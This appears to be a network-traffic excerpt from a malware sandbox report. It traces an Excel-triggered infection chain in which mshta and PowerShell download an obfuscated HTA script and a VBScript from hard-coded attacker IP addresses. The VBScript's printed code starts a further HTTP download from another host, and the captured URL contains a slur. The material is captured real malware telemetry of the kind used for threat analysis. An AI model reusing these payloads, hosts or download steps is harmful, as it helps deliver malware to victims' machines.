Jul 3, 2024 18:03:26.746568918 CEST	627	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 16:03:26 GMT Server: Apache Cache-Control: no-cache, no-store, private Expires: -1 Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Location: http://198.46.178.144/EvengIEcache.hta Vary: Accept-Encoding Content-Encoding: gzip Access-Control-Allow-Origin: * Content-Length: 212 Keep-Alive: timeout=5, max=75 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 90 c1 0e 82 30 0c 86 ef 3e c5 dc c5 13 9b 24 44 51 07 17 c5 c4 93 c6 e0 c1 e3 1c 95 91 20 e8 28 26 be bd 93 99 90 70 a2 97 b6 49 fb f7 ff 2a a6 bb e3 36 bd 9e 12 a2 f1 51 c6 13 e1 12 b1 21 34 c8 cc 95 5d fb 00 94 44 69 69 1a c0 88 5e d2 bd 17 52 c2 87 03 1a f1 e9 c1 ab 2d de 11 35 70 37 d0 68 4a 54 5d 21 54 76 6b be 69 4d 19 cd 7e 43 6b ce fd 55 c8 82 05 f3 97 21 f3 83 80 27 6f a8 f2 43 a2 a4 d2 c0 34 ca 59 27 df eb 63 81 25 c4 67 c8 0a 03 0a 8b 2a 27 58 93 71 52 82 bb 65 07 c6 7b 32 71 ab b3 4f cf 30 10 17 96 c7 42 44 74 dc 15 1a 8f 75 23 63 f6 b7 e2 ee 5b 4b bf bf 7f 01 56 57 01 9f 8e 01 00 00 Data Ascii: 0>$DQ (&pI6Q!4]Dii^R-5p7hJT]!TvkiM~CkU!'oC4Y'c%g'XqRe{2qO0BDtu#c[KVW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	198.46.178.144	80	1704	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:26.763056993 CEST	337	OUT	GET /EvengIEcache.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 198.46.178.144 Connection: Keep-Alive
Jul 3, 2024 18:03:27.269331932 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/hta Last-Modified: Tue, 02 Jul 2024 07:10:04 GMT Accept-Ranges: bytes ETag: "d0282dd4eccda1:0" Server: Microsoft-IIS/10.0 Date: Wed, 03 Jul 2024 16:03:27 GMT Content-Length: 105733 Data Raw: 3c 53 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 27 4a 61 76 61 73 63 72 69 70 74 27 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 43 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 30 25 36 43 25 36 31 25 36 45 25 36 37 25 37 35 25 36 31 25 36 37 25 36 35 25 33 44 25 34 41 25 36 31 25 37 36 25 36 31 25 35 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 45 25 36 44 25 33 44 25 32 37 25 32 35 25 33 33 25 34 33 25 32 35 25 33 32 25 33 31 25 34 34 25 34 46 25 34 33 25 35 34 25 35 39 25 35 30 25 34 35 25 32 35 25 33 32 25 33 30 25 36 38 25 37 34 25 36 44 25 36 43 25 32 35 25 33 33 25 34 35 25 32 35 25 33 30 25 34 31 25 32 35 25 33 33 25 34 33 25 36 44 25 36 35 25 37 34 25 36 31 25 32 35 25 33 32 25 33 30 25 36 38 25 37 34 25 37 34 25 37 30 25 32 44 25 36 35 25 37 31 25 37 35 25 36 39 25 37 36 25 32 35 25 33 33 25 34 34 25 32 35 25 33 32 25 33 32 25 35 38 25 32 44 25 35 35 25 34 31 25 32 44 25 34 33 25 36 46 25 36 44 25 37 [TRUNCATED] Data Ascii: <Script Language='Javascript'>...document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%3E%6D%3D%27%25%33%43%25%32%31%44%4F%43%54%59%50%45%25%32%30%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%75%69%76%25%33%44%25%32%32%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%25%32%32%25%32%30%63%6F%6E%74%65%6E%74%25%33%44%25%32%32%49%45%25%33%44%45%6D%75%6C%61%74%65%49%45%38%25%32%32%25%32%30%25%33%45%25%30%41%25%33%43%68%74%6D%6C%25%33%45%25%30%41%25%33%43%62%6F%64%79%25%33%45%25%30%41%25%33%43%73%63%72%69%70%54%25%32%30%74%79%50%65%25%33%44%25%32%32%74%45%58%74%2F%76%42%73%43%72%69%70%74%25%32%32%25%33%45%25%30%41%44%49%6D%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Jul 3, 2024 18:03:27.269356012 CEST	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Jul 3, 2024 18:03:27.269366980 CEST	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Jul 3, 2024 18:03:27.269629955 CEST	672	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Jul 3, 2024 18:03:27.269640923 CEST	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Jul 3, 2024 18:03:27.269646883 CEST	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Jul 3, 2024 18:03:27.269651890 CEST	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Jul 3, 2024 18:03:27.269771099 CEST	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
Jul 3, 2024 18:03:27.269788027 CEST	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Jul 3, 2024 18:03:27.269798040 CEST	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Jul 3, 2024 18:03:27.276217937 CEST	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	192.185.89.92	80	1100	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:27.916109085 CEST	343	OUT	GET /ppltL HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: hop.fyi Connection: Keep-Alive
Jul 3, 2024 18:03:28.485985994 CEST	627	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 16:03:28 GMT Server: Apache Cache-Control: no-cache, no-store, private Expires: -1 Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Location: http://198.46.178.144/EvengIEcache.hta Vary: Accept-Encoding Content-Encoding: gzip Access-Control-Allow-Origin: * Content-Length: 212 Keep-Alive: timeout=5, max=75 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 90 c1 0e 82 30 0c 86 ef 3e c5 dc c5 13 9b 24 44 51 07 17 c5 c4 93 c6 e0 c1 e3 1c 95 91 20 e8 28 26 be bd 93 99 90 70 a2 97 b6 49 fb f7 ff 2a a6 bb e3 36 bd 9e 12 a2 f1 51 c6 13 e1 12 b1 21 34 c8 cc 95 5d fb 00 94 44 69 69 1a c0 88 5e d2 bd 17 52 c2 87 03 1a f1 e9 c1 ab 2d de 11 35 70 37 d0 68 4a 54 5d 21 54 76 6b be 69 4d 19 cd 7e 43 6b ce fd 55 c8 82 05 f3 97 21 f3 83 80 27 6f a8 f2 43 a2 a4 d2 c0 34 ca 59 27 df eb 63 81 25 c4 67 c8 0a 03 0a 8b 2a 27 58 93 71 52 82 bb 65 07 c6 7b 32 71 ab b3 4f cf 30 10 17 96 c7 42 44 74 dc 15 1a 8f 75 23 63 f6 b7 e2 ee 5b 4b bf bf 7f 01 56 57 01 9f 8e 01 00 00 Data Ascii: 0>$DQ (&pI6Q!4]Dii^R-5p7hJT]!TvkiM~CkU!'oC4Y'c%g'XqRe{2qO0BDtu#c[KVW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	198.46.178.144	80	1100	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:28.517102957 CEST	411	OUT	GET /EvengIEcache.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8983- Connection: Keep-Alive Host: 198.46.178.144 If-Range: "d0282dd4eccda1:0"
Jul 3, 2024 18:03:29.002759933 CEST	1236	IN	HTTP/1.1 206 Partial Content Content-Type: application/hta Last-Modified: Tue, 02 Jul 2024 07:10:04 GMT Accept-Ranges: bytes ETag: "d0282dd4eccda1:0" Server: Microsoft-IIS/10.0 Date: Wed, 03 Jul 2024 16:03:28 GMT Content-Length: 96750 Content-Range: bytes 8983-105732/105733 Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 [TRUNCATED] Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
Jul 3, 2024 18:03:29.002778053 CEST	224	IN	Data Raw: 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 Data Ascii: %30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%53%45%74%25%32%30%25%32%30%25%32%30%25%3
Jul 3, 2024 18:03:29.002787113 CEST	1236	IN	Data Raw: 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 Data Ascii: 2%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3
Jul 3, 2024 18:03:29.002794027 CEST	1236	IN	Data Raw: 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 Data Ascii: 0%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%3
Jul 3, 2024 18:03:29.002799034 CEST	1236	IN	Data Raw: 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 Data Ascii: 0%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%3
Jul 3, 2024 18:03:29.002809048 CEST	672	IN	Data Raw: 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 33 25 34 34 25 32 35 25 33 32 25 33 30 25 32 35 Data Ascii: 5%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%33%44%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%2
Jul 3, 2024 18:03:29.002962112 CEST	1236	IN	Data Raw: 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 Data Ascii: 0%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%3
Jul 3, 2024 18:03:29.002973080 CEST	1116	IN	Data Raw: 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 Data Ascii: 5%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%2
Jul 3, 2024 18:03:29.002984047 CEST	1236	IN	Data Raw: 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 Data Ascii: 5%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%2
Jul 3, 2024 18:03:29.002995968 CEST	1236	IN	Data Raw: 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 Data Ascii: 2%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3
Jul 3, 2024 18:03:29.007767916 CEST	1236	IN	Data Raw: 35 25 33 37 25 32 35 25 33 32 25 33 39 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 Data Ascii: 5%37%25%32%39%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49169	198.46.178.144	80	2988	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:35.350399971 CEST	347	OUT	GET /eveningfiledatinglover.vbs HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 198.46.178.144 Connection: Keep-Alive
Jul 3, 2024 18:03:35.841720104 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/vbscript Last-Modified: Wed, 03 Jul 2024 13:44:02 GMT Accept-Ranges: bytes ETag: "58caf104fcdda1:0" Server: Microsoft-IIS/10.0 Date: Wed, 03 Jul 2024 16:03:35 GMT Content-Length: 3496 Data Raw: ff fe 44 00 69 00 6d 00 20 00 63 00 7a 00 78 00 52 00 4f 00 75 00 4c 00 68 00 4b 00 55 00 63 00 47 00 61 00 65 00 63 00 65 00 6f 00 65 00 6d 00 4b 00 42 00 4e 00 71 00 65 00 6b 00 70 00 4c 00 51 00 42 00 57 00 4f 00 70 00 41 00 6d 00 69 00 69 00 5a 00 61 00 70 00 43 00 69 00 73 00 62 00 4b 00 51 00 6d 00 4c 00 4c 00 4c 00 57 00 6e 00 75 00 6c 00 57 00 70 00 7a 00 61 00 47 00 6b 00 66 00 69 00 62 00 6e 00 47 00 43 00 49 00 57 00 70 00 4c 00 54 00 64 00 4b 00 6d 00 47 00 7a 00 68 00 50 00 75 00 65 00 41 00 71 00 6c 00 53 00 4b 00 63 00 4a 00 49 00 41 00 70 00 4b 00 78 00 6e 00 63 00 65 00 6b 00 4a 00 50 00 4f 00 55 00 75 00 2c 00 20 00 50 00 41 00 6d 00 4b 00 50 00 74 00 76 00 68 00 65 00 52 00 6f 00 57 00 6d 00 64 00 53 00 66 00 66 00 63 00 6b 00 6c 00 69 00 4f 00 6d 00 4f 00 6b 00 41 00 68 00 66 00 57 00 4e 00 65 00 73 00 6f 00 4f 00 41 00 7a 00 57 00 63 00 6f 00 6d 00 5a 00 6e 00 62 00 4c 00 63 00 6e 00 70 00 61 00 66 00 69 00 4b 00 4c 00 4c 00 47 00 4e 00 57 00 55 00 47 00 41 00 61 00 70 00 54 00 [TRUNCATED] Data Ascii: Dim czxROuLhKUcGaeceoemKBNqekpLQBWOpAmiiZapCisbKQmLLLWnulWpzaGkfibnGCIWpLTdKmGzhPueAqlSKcJIApKxncekJPOUu, PAmKPtvheRoWmdSffckliOmOkAhfWNesoOAzWcomZnbLcnpafiKLLGNWUGAapTGRdiKGopGONsKZAfjcWnLSRCaPiKheQIecAxzfSet czxROuLhKUcGaeceoemKBNqekpLQBWOpAmiiZapCisbKQmLLLWnulWpzaGkfibnGCIWpLTdKmGzhPueAqlSKcJIApKxncekJPOUu = CreateObject("MSXML2.ServerXMLHTTP")czxROuLhKUcGaeceoemKBNqekpLQBWOpAmiiZapCisbKQmLLLWnulWpzaGkfibnGCIWpLTdKmGzhPueAqlSKcJIApKxncekJPOUu.Open "GET", "http://94.156.65.247/Users_API/negro
